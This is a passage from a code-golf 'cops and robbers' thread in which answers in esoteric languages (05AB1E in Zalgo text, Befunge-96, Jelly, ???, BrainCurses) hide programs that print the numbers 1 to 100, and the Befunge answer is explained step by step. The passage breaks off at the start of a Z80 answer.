̵̙̝̘̝̲̳͖̣̝͕̥͍̥͖̗̹͉̎̽ͥ̑̾̎͢ͅḧ̶̵͇̭͍̠̣̗͖͍̜͕̰̘̰̑̃̀͒̈́ͤ̏̓ͩͬ̐͐̑̽ͯ̚̕͠͠4̫̬̦̜͕̺̱̖̼͋̄ͨ̾̔ͤ̓͊̐ͧ̔ͤ̎̄̀̏́͢ͅe̶̡ͯ̓ͮͤ̏ͦͬ͗̈́̽ͯ̌̽͌͆͊ͭ҉̡̝̺̜̝̗̗5̢̳͔̯͍̰̗̻͖͎̜͕̺̙͙͙̬͂͐̽͗͝ͅẆ̵̤̣̠͉̩̳̗͈̆̃̀̈́̋́̉̒ͯͭͥ͒̀ͭͦ́̓͗͘ͅR̴̍ͩ̓ͮ́̿ͨ̇̊̾̃̄̌̍͞҉̖̻̹̙̯́D̸̨̛̝̹̮͇̣̿ͧ͌̍̚ͅ3̨̛̛̫̫̣̝͈͔̰̖͕̮͉͔͖̈́ͨ̉̌̇́̃̍ͧ̈̈͐ͨ͛̚2͎̟̱̪̖͈͕͔͓̘͉̙̍̃̓ͪͦ͋͆̃̈̄̂̄ͦͥ̍̏̃̀͢͢͟5̸̶͛̀̿̄ͦ͊̏҉̷̼͇͍͚̘̺̱̜̤̻̞̲̜̰͙͔yͨ͐̍ͪ̑̀̾̌̊ͤ̿͗̄͑͐̑͌͋̽̕͏̰͔̮͈̦̤̫̗̫̯w̵̧̗̣̙̠̬̺̩͚̬̎́ͭ̃͛̈́2̴͚̫̮͍̼̠̺̠͕̬̳̮͕̱̟̙̘̹̑ͮͧ͗̓̎́́ͯ̓̐̉ͮͫͪ͢2̥̯͚̼͉̦͙ͧ͌͛̒̃ͯͭͥ͋̚̕̕͜͡ͅ2͇̖̭͆̒ͪ̾̎ͥͣ̂ͨͩ͋͒ͪ͊́̚͠͠2̑͗ͬ̃͆͂̓͗̏ͯ͟҉̴͘҉̳̭̗̘̤̝ͅ3̴̵̲̗̘̹̠̰̳͙̮͙̍̉̓ͦ̐ͧ̾̍̚̚̚̕ͅ4̨̲̜̱̦͓̝͍̳͕̩͌̔ͪ̾͗̉̇͗͐͛͆̀ͅͅ2̵̱̦̬̜͓̻̥̲͓̀͐ͫ͟͝6͔̮̣̮ͩͨ̀ͭͯ̏ͣ͂͡5̷͕̠̭̜͕͙̦̘̦̱̖̬ͤ̌ͫ̈̅͒̇ͯ͢ ̸̵̵̡̛͓̻̗̖̻̗̼̤̰̂͛̆͌͗ͯͭ̂ͥ̈̂ͤͪ͐3̤̘̫͉̘̗̜̲̝͇̙̫̯̲̥͙̦͐̈̇̏͊̓̇̈́ͫ́͘͡ͅ2̛̣͓̪̖͔̺͍̝̫̳̱͊ͦ̿ͨ͌̀6̗̪̠̻̤̤͓̜̫͈͓̐͂̎͗̆͗̂͋͋̊̈́̃́3̰͈̠͚̙͉̲̗̭̤̝͇̩͔͖̦͓̹̯̉̊ͩͧ͐̃ͦ̾̀͘͟͢2̵̧̡̧̻̟̰̻̰̪͔͔̲̮͚̝̖̹̣̞̠̍̿̄͆͌́ͤ̀̅6̴̜̩̝̯͌͊̿ͫ̆̕͘5̵̡͓͍̬͔̒̍ͩ̅̎̍ͩ̉̈́ͫ͐͊̓̄͊̒͠͞ụ̡̜̥͙̗̻̺̤͇̥̦̗̠̪̳̗̼ͤ̈̓̾̆ͥ̅ͥ̿̿̒̇̓͟n̵̑͂̎ͪ́̾̃ͨ͗͛́́̚̚҉̶͙̰͓̱̳̯͓̟̺̤͈̥ͅn͒̿̏̆͏̳̯͍͎̫͇̮̳̼͎͚̜͓̦̝͜͟͡5ͨ̃͐ͬ̔̉͜҉̨̯̥̗͕̪̙̭͚̳͚͇͎̭̪͙̣̺́e̶̡̧͈̬̻̼̮͕̯͈̖͚͙̬̗͕̲ͬ̾̾̓̔͑͊ͨ͂ͪ̅͋̀ͪ̂̑̚͟ͅb̸̧͉̝̜̗͉̫͕͎͓͖̙̱ͩ͌ͪ͒̊̓ͦ͂̎͗ͨ̀̀ͮ͊̿͐͜y̅ͦͮ̽́ͥ͆ͫ̊ͩͪ̿ͩͭ͋͟҉̶̧̰̦̳̥̬̼̩̟̹͖͕̟̞͈͓̰̠͈ͅ3̷͕̮̤̩̳̙̳̮̹͕͇̱͖͖̋ͦͩͧ̃͊́ͩ̽̉̓̌̋́͟͝2̴̗̯͉̦̪̯̠͙̩̩̦̝̪̯̘̈ͨ̏́ͅ4̧̡̣̮̖͚̫̙̿̃ͫͫ̊̍̄̀̓̔̏͒ͦ́ͅͅ6̷̼̳͇̱̖̙̯̲̤͈̼͍̤̰̬̺̺͕ͭ̂͗̇̆̿͋ͥ͛̏ͫ̀ͣͧ̏̈́͞ͅ2̨̰̺̬̮̤̬̬̰̄̇̔̽ͫ͛͗̓ͯ̌ͫ̑̈́͘ͅ3͍͈͇͔̯͍͓͙̺̮͈̖͍̮̟̗̝̝͂ͫ̃ͤ̏͐̌́́́ͩ̀͘͡ͅ6̺̞̦̻͕̪̫̹̩͓ͫ͌̋̃͋̀̕͡͝ͅ3̏̈́ͧͬ̈́́̊̈̿ͯ̑̆̇̊̽̌͐́҉҉̡̨̪͉̖̖͇̯͉̥4̴̧̰͈̭̼̗̹̻͕͉͈̱̜̺̳̘̣̠̼̹̓ͩͮ̾̎̅̂̉̾̐͑̿͋͆̋͐̏͘ ̴̢̭̰͚͎̦̟̜̫̟̰ͣͦ́͗̓̄̒͘͟3̢͙̹͍̹͖͈̙͚̱̰̝͙̗̙̹̗͖̺̟ͦ̑́̒̆̊̐̀͠͠4ͬͪͤ̏́҉͡͏̦͚̮͚̖̩̖̞̱̹̥̫̥͉6̡̡̛̜̮̭̞̰͗̾ͧ̇̃ͩ́͊͘͞3̜̘̘̤̬͚̫͉̹͖̘̰̩͇̖̳̺͇͙̆͐̈ͤͥ́ͬͩ͌̂̌̂͗͗͒̆̔̀͟͡͡2ͨͦͥ̓ͪ̎͏̵̵͈̯̩̼̬̦4̭̼͚͕̪̤̱̹̞̩̤̬̞͇̭͔͔̰̰͋̎͑ͫ͌̐̑͑̿̄ͯ́͡6̉̋́̾̌̍̒͌ͮ̕҉̯̘͙̳̲͙͍̞v̨̢͊ͦ̀҉̧̺̳͚̫̟͚͍̘̼̹̳̘̱̥͙͕͍͍̀w̵̨̳̭̖̘̮̩͔̘̱̭͍̰̗ͤ̇͊ͣ͂̆̋͢͠t̪̯̹̯̩̝̝̪͖̯ͭ̒̍̔ͤ̈̈̿̍̌̆ͮ͌ͯͮ͜͞ͅͅͅj̦̳̫̙̫̝͇̟̩͉͇̲̻̙̼ͬͯ̾̀ͫͦ̾̑̇̔ͪ͜͡r̴ͧ̈͗͋̑ͩ̾̽ͧ̌͌̉̋͛͗̔̔ͦ͏͇̦̥̝̮̳̦̺͕̫̹͍͔̞͝ͅͅͅw̴̛̖̙̻̞̭̼̘̹̼̫̲͕͓̗̘̹̋̏̅͊̎͋̉̾ͅt̡̧̳͇͚̲̮̻̣̺̝ͧ̏͂̅ͤ̕͝ả̗̜̯̻̗̝̜̼̪͕͓̭͍͂̇̐ͦͨ͌̽́́͝ͅ3̶͉͕̹̥̟̺̘͍̗̾̂ͫ̌ͯ̿̋̇͛ͪ̾ͭ͒͛̄̂̓̚͜͞7ͧ̒͂͊̆̽̓͏̵̢҉̞̭͖̼͙͎͚̟͉̻̹̙͉̣͎͍̪4̇ͫͧ̃́̾̎͛͆̿̈́ͭͪ͑ͭͤ̚҉̨͚̙̝̺̯̪͕̬͇̠͖̘̞̬̩̣̲͜͡͝5̵͓̘̝̻̺̺͈̟̯̟̬̲̘̠̜̥̻̦̬̓̋ͪͪͦͫ̚͘6̵̧̺̟͈̜̱͚̜̱̪̯͖̞͙̳̲͍̃͊ͫ͊̽̒̐͢͝8̶̷͔̦̹͙̔̂͐̈̆́̆ͤͪ̽̇̆͜͞5̸̴͉͈̺̮̥͇͍͕̦̗̏̂̐͒ͦ̃̌͌ͧͨͮ̆́͘͢7̹̤̪̺͕ͮͫ͊ͤͣ͛̉́͢3̷̨͍͓̱̼͓̥̘̼͔͎̲̗͈͕͖̭̽̑ͧ̃̏ͤ̊̂ ̵̲̖̪̜̫̱̫̻̜̫̞ͭ͆̈́ͯ̋̆̓̀5̢̢̱̺̞͇̭̩͇̹̙̰̰̳̰̫͓̮̙͈̘͒ͮ̄̎͛̓͊̌ͩ̚͢͝4̷̩̱͈͓̺̘̓̉͐̑͗̉ͩ̆͊̂̒̑̈͑̑͌ͤͥ͘͘̕͝6̡̫̭͍̤̝͔̯̟̗̬̣͈͉͇̜͐ͯ͆̌3̸̷̨̦͚̱̭͈̖̖̈́́̎͛̒͌̽ͫ͢͠4̵̏̐̄̍ͦͭ͒̒҉̢̠̯͕̱͢͡ͅ6̨̯͖͎̮͖͈̩̤̺͚̥͚͈̰͔̭ͫ͆̽̀̿͡7̱̩̹̟̖̭̗̤̮̦̭͕̳͒̑ͫ̊̉̄̇ͥ̈́̽̊͆͝v̷̴̛̟̮̳͈̘̰̿͂ͤ̀̄̀ͤ̍͊ͯ͗́ͨͭ̊̏s̗̬̜̥̟̬̅ͬͣ̇̐̒ͭ̇́̓̍̅̀̕ķ̷̺͈̬̺̠̩̣̭̗͈̪͆ͩ͑ͦ͗̈ͧͧ́̚͡͡h̴̢̧̛͍͍̗̻̘̮͍̀̽̾̓̏ͅb̨̳̜̘͕͛̀ͫͦ͐ͮ͛́͛̏̇̀̕r̛͔̦̼̀̔ͮ͛͋ͪͧ̃͛̂͛̂̉̐́̚̕4̢̡̻͚̮̹̹̙͖̙͓͚̮̘̟̼̝̮̂̇͛̃̈ͮͧ̊̎̿̽ͯͥ́͟͠͝5̨̨͎̪̮͎͖̩̙̫̤̫̹̟̩̮ͨͭ͋ͯ͋ͮͯ̋ͪ̑̄ͧͭ̆ͤ̈́ͭͩ̚̕͠3ͤͭ̎͆̽͒̈́̌̈̽̍̓̏҉̫͓̗̩̺͕̬̼̦̘̦͎7̨͎̮̯̼̙̜̪͕̭̺̞̯͚ͫͤ̆̋͑ͮ̉̅̇͐ͫ̀3͊̀͆̈́ͩ̊͛̍́ͣͤ̓ͬ̿ͨ̓͑͗͗͘̕҉͉̗̥̮ͅ4̴̴̢͈̦̤̼͎̼͍͔̝̳ͣ̾́͑͗̒̎̐ͤ̀ͯ̋̚̕͝7̡̡̛̻̩̺͉͆ͦ͗̒ͦ̽͒͊̉͌͌̌̏̇́4̨͛ͩ̍̽̋̉ͪ̅͛̄͐̈ͩ̄̚̕҉̻̘͔͕̤̬̗̹̟̫3͈̥̘̼͙̤̖̬̺̥̠̜̖̯̦̐ͪͮ̈́̐͗ͤ̔ͯ̈́̐͊̚͟͡ͅ5̢̘̭̬̺͚͔̱͓͇̘͙̗̫̮͙̲̜̃͂̈́̏ͥ̐̇̐̈̇͆͂ͅ6̵̷̛͍͇̥̺̼̻̺̥̦͕̆ͧ͐̓͐̏ͦ͌̾ͫͭ́ͫͦ͆͛̍̕͝ ``` *Laughs in Zalgo* - Good luck (yes, this executes, believe it or not lol). --- [Try it online!](https://tio.run/##NZpJb2vXcoXn/i0ZxOqupw/IMKOHABnbgGHjJTAQ@@UZb8ZepCRSFHtSJEVJbMReEq@kq/4P7D3xH3K@tXQDgaQknrN3NauqVtU@/7r7/Q/f/vjnn1shF/IxE1JxHC9DNpRjOc7iIg7jVTgIB3EZTuJpOAxX4TTcxeOYCINwHcZhFF7CWTjbDrWQjau4jFdxEt7iSeiwzAk/6ZAJ9@Eq9sIdF3e5fBP64SnchscwjvnwHOZxP6zDIqxiYzdO2P@Q3crsfMmtuTgOk/AlfImN8BI7YbqFmOnwHkpceBKnsczO76EaLuJZHLDTc6yzxyNCjcOKNff5exRuYju2@a4W5qH/l1iJqXDE@gfSL6b4@zIU4lHISM/wOQ7ieezFs/AUiywyCENuayP8Yyx9HxKIVbQEay5OoGGK23O867dFKLBU748CMujG59/CcajyVTqu2PMQ25b@KLB@PvTCNDx/jwCXrLePypM44usD3jEyFpmGdswjQhstGvxW45YW2g1jNnZ@06VsVmGtRHgI53x5jdq3WOkG01ZRuCFVZ8i6H9NxHopxzaWn2Koaulj92TZahkveb2Lpr/EAD5d4ZeMc35cR6QhBPvPzBXWuwyyW@GzavDeh9Rc8nUb6KvIn0fxLmODnXizyU9OqPwGIUwyVw0npmAQG9XAZS7xvvMIy3H4HXjJsk8RqXS65R8IF8t3sxSnmLWHsEyyHppi7Gl4RvhdkvSUrbBB8HPpgo4WZmt8hz4wLD7jlGCfK/lMuHbJp@/9vQIVLbNkIjVhHkPkuqydZW@YXxvdx4lTmAnm18EocrLHHONQFLyGDRQTeDQrO7MUe8J3yv2u2aPFq7mHnKcsehgo2H6PEPmhdCWSYoYk5Z1hfMo2Ro/eBE5a45n8F3tfhLNa/AxgLnHYExDpIcIA/9nk9CFwxgRzXhvNQ3tYtAKPH63JPXmHnDv6Yc0k3Zj@FBOJ0sOUBWpZjkwB94/er2A91oIqrEKbHxc@sNA@jWPuO0FOATH3ZBKkPbaI5sLuPydgScmIWdWdhjRZr/mp8g7IJYquMHXMA4pi/LsHAASg9AnhKAz2APeDyJk4ebzvdHCLaBADfYxU8hhHHuLO7i@ZHeKBCiCknJFn1Sj7AgCMuW8pk36JImlcn5PF6yoGc9E@dLPOE/xtboUYuG2OWXFReq6A/eSa8o1SS2HQoKFpQqcENVSLokiS1xq43CjZBOkx3WVuJg5REhJ7IcJiuCwRWhvMTso/w3iN/P7HAM8Csh7NvEa8Akjpg9wBrrMhvM3bOWSb59IQQUFC2WO4Ul9UJ@PoWBksgaAYokpaJEZCNAzO8H/L/KX7IxYvYx6Rf2G0eNkRdydlBCeA2VneIu3du@NA4g@tOeIEhWZDXBfmtjaiIiY7PeL24hYBztEyy5imCTGN9j9hTcOeI4wrbHgOHERK/858MeEzi5c@sdYfb5gC3wZq3/KwQqkWgFfhPVcn9P1hoHyeM8bfSjG5vIv1pUByecfPqF5UQbFICM4fxNB6x32eQfo5p@6wnfzw7yz2zcj4MFEb/zuUrlJRyaax0hNopgngd6qx8jGgXWOTDM3McOcBGUyXKf@GGFPpk0GeBS9NEGTkvKCqu0OaG25og4gn5Sbvc2uI/j/9DdB3gGwVTDoiWvqb1MiHaogq1WOAcX9QRr4jy@xh3QFwr044pIpfs30WCwY@goIO@@yDhkNx2R14jCDB8ib3r3NIPm1/BdAavpIBsBU0nZJQcQs8A7kj2xPxXUYK1gnIJOPhvBEvxxQleK7PixBm8x3rk7y1yU5qfFHV0EB6A3BjjPmLQDpZpoWJVScUhsACIBdzZ3WajdzLijDUzOJC/2PYdu/WpzOeo1uN1ze3Xu4DkCuvPFFoYU4kLb9tCSb55p6zec9utK0Q/duL@3xApxQVkeEIszQ1zIC7WMQMHJPLwBTF7FmiEoAVFKkads98QMy9/4vYTBCpE@WBKymhipfPYxaQT5ybZ/4zbmxQfVdRZEEjbhHoWEyNoFSScY6W62I0RNg2znySG0VRD8S4XXOAe/Mq9gOMb1CzLCeRjshpYHGHh7BZozKPGEpyoPiJbFIFKskqRTxXTB@eGMVaesdETt5I9@X2@TVAP0T3FtvfY9mu556LLMNxRDqbWCmvy4GsUV6iQ1kQt5iDk3AgcoMIAgTq86ty@7woIEkXasHgbL6sIj/YQEfSL9bGYYFzEEhl8fKIQZcEUPGhAhiQ3iVjxWsXaNnqdcqHQV2HflQOVTIWGNSRTMU3wM0CaJGAeotvYBf8M25NwwD/Q5me9xT5F/F1DggImKgH1CtA8IVs@cHOfmLj4EBqxhyz2xM0bCFBRVtnDnvAwLq9ihUM@r6hGirgXIQv05h3tK/a9DI1tyjJpgswippMnxR4ibA1lEvyvDzQ3AEWpgpyFufq2/IY02DZharJsQ1Q5jdGqYFyMiqKGgXrYvIlQHQJXPO0M64/32IHiL96CV@UijEIaEGqvgeDLzwjySkyQ7kCZ3N4DGxcyssnFwKh4dDKd/og/psidYq0xir@ielMBBiBe@UwAUUJLAog0ipe7flUJgJl4rCLnVy5PIPeV39NxSApqmuRroXcCTexEmUSMqQHlrZknNjBNbZcdR2Akb@d3yC/wCQIPwo@re6gs@j1jx8fwsoWQC1atoF2Ote9dVVQezhCki2A11/mGduO1Cb1tPHFEPrwiCiqsfYp5qZCI9IzfV4CmsYeqFRB3wvuUC0swnTQXUpMxyTE3J4klMeYsDhMdm7P2JRG7sGe6pCgRBVV/pF4ioti/GFaatCoC/hk7PqD@gFePBV5ABMwKLPQRHBDjuwFid2J1S5FAuKzZWylxn8VOcVNCfsSW5yYRXfa9AcRVtL1Fls02xaODUdYU8C7uPgc8QlxD@Q2ULdlnyGdzy0yj4EYFeoqX6iBc7VBJQMXgXS4TcxSBA75bzp9pVq8oO6HRktuyxDGo@UMUm5bCjPnDS9f469G5@4XYGofZFoaRt8hW8he3nFFAZM@OKDaGUG3oIaa46iY8biHgEf46IfgpUKh8SiA0cHJNX6PLvjNHgf3a3@AfWWvOT9mEIuf6WcaOE74pY8ec6C25em22jpntghv@mjk4Z8CA5oOlG9vcuhR8SYAJAigZVfbVEOYxmuza9QuPoTf1Dz1vVFvFlln4TJaOtR1hB@i9o/Urn6I1ajM@c8k8FkSoy2JSRHNF68Ukrr036xfrXjuWFfJ1xCatof1juFGnugZeV@IECDF0kVTve4YgAwR54jUgwrIIobw43XYoZonxHE44UjvDzylGKsdLzKJ9bwjFudPZkN1uzKbnvNTc9sM1wrJADWtOQOMJCSKluAYSqhwpL0gFxjj0P@F5GyGvABeFGvgeIm7G@SThDLPPN1OWybO3WPFK8CWM2m5exJZhfDtuKMbuAkvsnidCc7znwe4b38yDCKcqcdtan22B/hIRKAKraNeg4Ji81cXg6gybIFR97EcSelGXaCQt9hDwUKma3Kt4E80pksHSLEeDDQyPEbSEOxZeQDerOxEXg3vtgNE8kBu6Vb1QUJIps6ZNM@/0bIirCtTkPwFqgiNOPwYRnm1kCdkWqMyqUdom1ppggjpFyHecb2ksDd1rQrTq@QHdww73XonmIMAQnGccBwmwMTA@qmx4y4XqTffVXu6BZ3V7B5jyFc8UqYJEFpsX3dQ2hDmNBX5i3WkQA8jzWXTT/MFJoU5YneaUVbvqfn/Tl2aaKb4cEiH12HdIjUATxUsdlSR2rN7i5yL6NNHg7O8kyCN1H5hvzvqvLtUqBUfmHLRHosb4V4ttNNggmSxcfPqxKjutUVhRekjRmYpZIHRZtYxcpdlInXrf5Zaeevk91v9oV2fmv2XzjQcETprnPmOEM0QbK20ZNCPTwdsw2gFPx7zeMO89aw7UyGCpEl@qRVuDrhuC7oOQg7Yw3CY@aLWhHmUjdsJeR3j6VH0u3jlXOgMUMorYcc8gWbkkLWN@C31mwHKBsEfg4ZXd8x5mnLKPbpj7YhW@NjsO@X1ArE71TvC395Sm0Vepm3SN4J@V7bBpwbv20awdxt/g1lcXhDd@uwMRbQ@EeooPF7meSB3OGPFXUzrG7M/qi4mNBJ7LYOxjdOsgsFqDMt@8kjDvWUzTkrp5qDokwaGhHtxEBVq/A24y5KY3UsuQ8DvQMMC/a0KTQIEk8swJi4ULXt3JrRFeftTYhnrNzuIDakS955EJZ87M@D6cu1b2TO5k3eZuVPUSkVci3jhOCWSEaRKlDUHae7TNCxf/SZLKWcsMyTPpsRg1mbxe4X9LslMSkDWh03fiwqZCU9FIJZu/OmyqmgMBhCuWOvBQIYOQRXJSX5nXoHvE4ut/46JJ1Fcd1@JTzJ5VEVUzSmVnhYJYDF8nWaWInZQMywTqqeenp0aEvKWR3rUTsWKuJm5Z5JaqRgOwWWmUDx/d/9jRdgxGLkg1mnaWnG5mQZNBUT6aVLRq74rNulqN8dIxAt5j3AcCZV/0FGfKM12PnGjDRIiwYe2fiEeFUIvH7W8oAOfwiIRmQEhxe/DqjlqDpxVhNPZgtMlr/Ts4SOJKUbGMkj3/vjSHWngIQyuypUGeJknkai720E0dYoH/0loCH9dbc/UXbiRIvhbUFZ@iXW1V/S0ZHx1F@@xi4HzoVl@VfgRKOmIbUEsiawsbagL6pmxlmpdSvsS2/BfsJYV7/NYIS4nXJCzSgDIlsADYdTwTIfZkZuNxV1M9J0SVlTr4o4CvNMTpaOotsKiBxKhcZkxoSL5RqYztHSBTkyisXCC3N5XU2IsiYC98zGw/Zk0bj16yW2C3TL698zD6xhm1i5@fUZNMtGcCLHivlfGQ@lyO0TRvF9/RboAe@DebrUmEF5pIkPK6LuBjTdkcogv1sZrXkbtMZFPYNO8uY4bjv6DQnWtP1dy04Xe60nC9zdd5gH4M0KquaHNnTI1rWmJOvDdRTZVtH@@BE@TOkp7YfwvzawZ3pckgVrhkfYG55qm7BxnhZo80k3KbkzOTUf0/AGAaJjfNolQJVGW67Jen0pgsq76UuUgzvzMX7ASgVTvV0UjDDlrKj4g1VdzJ9rhrveXJfsbkK4kNE5CUidWfsJOI/7PH4DXX65WZsMiexoUDuj1TrTmpqC7UeMxDAd71HFgTu5I/C7ZU2VbLeDg6YIc7irEIwyLW/petdczxhtp0JLze@al4jH/GpZesLCM23RcNPXkY89cAk6iivfziFqfkKYxSWQczN3EyKQnL3Ym@cvs1IVI1s17z6QkmRhr9AmTUzOTisWJKXbFJVMlHNRp2quh2DMVx6O0CwjTaLCDeNBisfcUea0RqqhlUH8nFG/fjJc2LRR/D04/c8OZRdQ3xNCLRScwMbUXxZiS9E4SUthMcq7ryDOqUClTBGx5jLLzF7Q84/Aiw0jIqHj8Q4w43QW6RS4AxyWESNUaiY@JzThSU3HK1w80/NeEn/0NrSBM5PHjgmv7OuyaRygITypROvEQ1Fl9HiI@x4dnpGXUc8KkvjPltKM5YEFQ9Z8EpyxbMKFSZHhTLSviedG9C24cYj6Io0NGGSgCMXPWUZNJEVw3oZqabAzSe8jM2X12H1g5u0kEF4oJbleEqxjwmt425XRP1S25c2Vgal7X3HN1NF8t39BoBiWMROrLHxJPQvioFztp3amgrYA0KTT81h7p2Pn@K9S322/cBicYpTey@dsYRxW4ZAddcuJCedt5C6SLlEa2oQDnoyCdp8ySUMsBXHoDUjLSq59Ir@1kMWlRPRba3x26yYxrhdQRSjz3Pk8YfgwcTkEeN8LetzQTCkWGXA9LUu4/rcq7ur2o51U2Zdly5sdSB0L7tPdpBG53fiGZlAWKB38o0D@@uyYduq1u4Z@Kkou606Qlq3fMmFdcnvNoSz9BZ5DdYVwSkqXAnipWPzrh96blWyaOxrjopmWiMkEkuyiFmOWhcdBHl@EcMIbjlSWCa719jECWAtg7kQPGTGjExUFG8pE8Yjz1gVJJqgJqG2@ZHE@URTS3ivLlHhI4j3AG05NzjNqUtUWOayW1zdLUsI50BKMwwx5EwxI@ErLHPOa6QBi3XxsVH0yxhRRxxhsrrRkNO1eMrT2o0py@5P7lDIzXSLyKOOx4Vn9jJohwnTsZrdkjKzBqu4eSh9RB/VgfcN2mtmUnR/RYcZW@mbhWywsoHXASLqTc9IXbs/8O1R5X3QpFNdXhSgvL5hcYcLR8hy4U3yrPqhGLxd0y7H3WEQ@sCCujcTMI3npPpPIxS4luWH0T170Qbid8sOS8Eql1Sq4ZYa967UfNFRTKVx5PGnlGu8dv6b5h7jR4JH0S@gYp9H2OJ5CgJzV1PVcDO1Ce4a3xWE/ur@CbeOcR@U2585e8j7KljIwVqzbPWz@R23Tz2bGtlKjxWXLPoo6erYtz937HmsSeDmuArDj5TrLNODaKPwr4mMS/cpoaxaoL0@HdnEzp8kNOjFqp8bjRC8rnQs9J/6H1PtUj53HtsEvCKQEnX9S4mefasqatJLgbRylh1GwGUQ7Af1jzEHadmVEvNu9ym6xBeM9BuLHiyNXJZ8@nwJ4SqRE1D1FJXjT65v@/Z@wtuVlHTbNJEn08dVRfDbId95krnBlbJ85h3sssSd5x4b03WyCMeA3fclT1p5ir6qqG7I6HvA/3LcLtLGjhE7I5ZvthdywdMPRfzJw8/1j6tuOW/A5X6j2567@NsxCPjCvEhWniBZQl9bur6vKrrlkAHsv2vgC9@h8tTZmo5FNDxwowFVALUHstUNVZ/jO1dXJ3yaeFYwxRQOvFkLWdSdwET/OwEp7Z35G6iLtbxyfxdE8pLXFCAbiWx3xAxgNM2W53YdsdEwQHrP2CnomnHC@8jn6zV3J033chAxb/xxJjA9yAsjaIJvtYkXGnyhtezf@vrsOnjXFteUbk9Ikf1fOR34QGbs4NzkHq3a9FxXnOdSOrhCtXQqs6NPCkreJIiISuuYyfuekh@qN/y9EGPbNy41AOqPT0bABaOwPfcQT/0Gfra9WrhxwwUmN1tF6GSmhbjfK4TIE9@LpyilTHyKkA7eKCsx0s0fSO/VkTVMKgOngZ4lTYoZlUDhWCaPIFOzsZ8K9cGpcQnnXaSxvLu05afWOfEFEHHx/sok/FJdA5lbrhBz3I09NQCt@ppiqXGKf9g7ZT5L6yCz6IHOE2d4AF4tZUP1IvPnoJsZMZw/RvRvqDFIqBRc8ln0iPBLGZL2B5dR@Piv9haxzBj1ssDDXonAHbug8oH43/hAYmCZelh4Oxnj5zEFT/Omk/J2UXP6p5JEC21jD/4EIdciVNW/K6HBTSPv/L2G5WnWP@VdWr62mfwImin7n1U4jvIrfHSqcPhZYd/kl7UgatrRecSKecVK6gUDih4fhDF56bwN2eMhk8U9Xfr6@MYq11Tb3HINa@VIO0WW9xk6WBUHplqrG9AlHRSQ9pRxW776Y65PTQNq20uXvphmlfNcoCdJq06sDv@o2BIN32WWDc9dX8XS58wydDlSk/RFPCGzv/nHj0CGrD64iebZh6RikrRP2/rjMgRqKc/Tv10zyW7p6HsatjS8cQEoKXaSp5sqqcLK03e3rj0xDPRkp7hwqoJ66yYrOsc@uvYQKcNL35MqBc2n2LOaKj4GLIS9bCPStaRPajWMylLW7vCDt6bItJr0Imx@oWPgb3Gn8oEWPIPpfAWWaVuhvDxvNJ8O@iRtlXUAxFNRKtpJKlTe1x0DifPqvdxOmpzW8MoHDn/aqA73g06ys34jKhslNP6alaAZjpmWijwPFPWyWFL0wePRlZ@HqK7h7P16E3a7HHs4f7cD7UIs5oxF/0sxJ0HoUW3dE8aSVuKcaz/@ef/AQ "05AB1E – Try It Online") [Answer] # [Befunge-96](https://github.com/TryItOnline/befunge-97-mtfi), 25 bytes, safe ``` #<h2%fZ<[[+!/8]]!><[8!,]> ``` [Try it online!](https://tio.run/##S0pNK81LT9W1NNPNLUnL/P9f2SbDSDUtyiY6WltR3yI2VtHOJtpCUSfW7v9/AA "Befunge-96 (MTFI) – Try It Online") Surprise! Like a horror movie with a bad twist, the murderer was Befunge's deformed older brother all along! The biggest trick of this code is the `h` instruction, which I found through James Holderness' answer [here](https://codegolf.stackexchange.com/a/153156). `h` sets the *Holistic Delta*, which changes the value of the instructions encountered before executing them. ### Explanation ``` #< Skip over the < h Set the holistic delta to 0 (doesn't change anything) 2%fZ Does nothing 2%fZ< Goes left and adds a 2 to the stack h Sets the holistic delta to +2 ``` Now (to the pointer) the code looks like: ``` %>j4'h\>]]-#1:__#@>]:#._@ ``` Going left at the `j` ``` >j4'h\> Pushes 104, 4 to the stack >-#1:_ Initially subtracts 4 from 104 to get 100 Then repeatedly dupe, decrement and dupe again until the value is 0 _ Pop the excess 0 #@> Skip the terminating @ and enter the loop > :#._@ Print the number until the stack is empty ``` The hardest part of this was figuring out which aspects of -96 are inherited from -93, which are precursors to -98, and which aren't. For example `]` (Turn Right) is in -98, but isn't in -96, while the `'` (Fetch Character) is. Thankfully, this version does not bounce off unknown instructions. [Answer] # [Jelly](https://github.com/DennisMitchell/jellylanguage), 494 bytes, safe ``` [] ^1# ^2# ^3# ^4# ^5# ^6# ^7# ^8# ^9# ^10# ^11# ^12# ^13# ^14# ^15# ^16# ^17# ^18# ^19# ^20# ^21# ^22# ^23# ^24# ^25# ^26# ^27# ^28# ^29# ^30# ^31# ^32# ^33# ^34# ^35# ^36# ^37# ^38# ^39# ^40# ^41# ^42# ^43# ^44# ^45# ^46# ^47# ^48# ^49# ^50# ^51# ^52# ^53# ^54# ^55# ^56# ^57# ^58# ^59# ^60# ^61# ^62# ^63# ^64# ^65# ^66# ^67# ^68# ^69# ^70# ^71# ^72# ^73# ^74# ^75# ^76# ^77# ^78# ^79# ^80# ^81# ^82# ^83# ^84# ^85# ^86# ^87# ^88# ^89# ^90# ^91# ^92# ^93# ^94# ^95# ^96# ^97# ^98# ^99# ^100# ``` [Attempt This Online!](https://ato.pxeger.com/run?1=NdK9TQMwEIZh0WaN1Ei5P9_dLIgUIFJE6ZIUzEKTgizFEMyAXwPF5-p7LNvnj_vx7XR6v93u18vhsb4evp-eN3vZbvY6YzM-EzNjJmdqpmdkx0JTqApdoSy0hbrQF4AgFKFrb4QiFKEIRShCEYowhCFsHQdhCEMYwhCGMIQjHOEIXzdAOMIRjnCEIwIRiEAEItalEYEIRCACMRADMRADMRBjvRNiIAZiIBKRiEQkIhGJyPW0iEQkohCFKEQhClGIQtSaBqIQjWhEIxrRiEY0ohG9Bvg7wd328_zyev4b_v8n-AE) Outputs as an array of integers. --- Explanation: * All lines except the last are essentially ignored * `100#`: find the first 100 integers such that: + `^`: the integer, `xor`d with 0, is not 0 (which is always true for positive integers) [Answer] # [???](https://esolangs.org/wiki/%3F%3F%3F), 145 bytes, [cracked](https://codegolf.stackexchange.com/a/155085/21830) by [Dennis](https://codegolf.stackexchange.com/users/12012/dennis) !!! ``` ......";........-,'";'";.;;.---,'"....'"-........;,'".........'";.!--!;,'".........'";;;.--,,,,,,,,,,;..........";!--.!--!;;;,'"--,";,,,,,,,,!,!! ``` Outputs the numbers cleanly in one line. [Answer] ### BrainCurses, 12 bytes, [cracked](https://codegolf.stackexchange.com/a/155479/31957) by [Rlyeh](https://codegolf.stackexchange.com/users/78059/rlyeh) ``` ' !'d[:-%_%] ``` Hmmmmmm :) Output is space-separated (with a trailing space). [Answer] # Z80 (anagol-flavored), 47 bytes, safe ``` 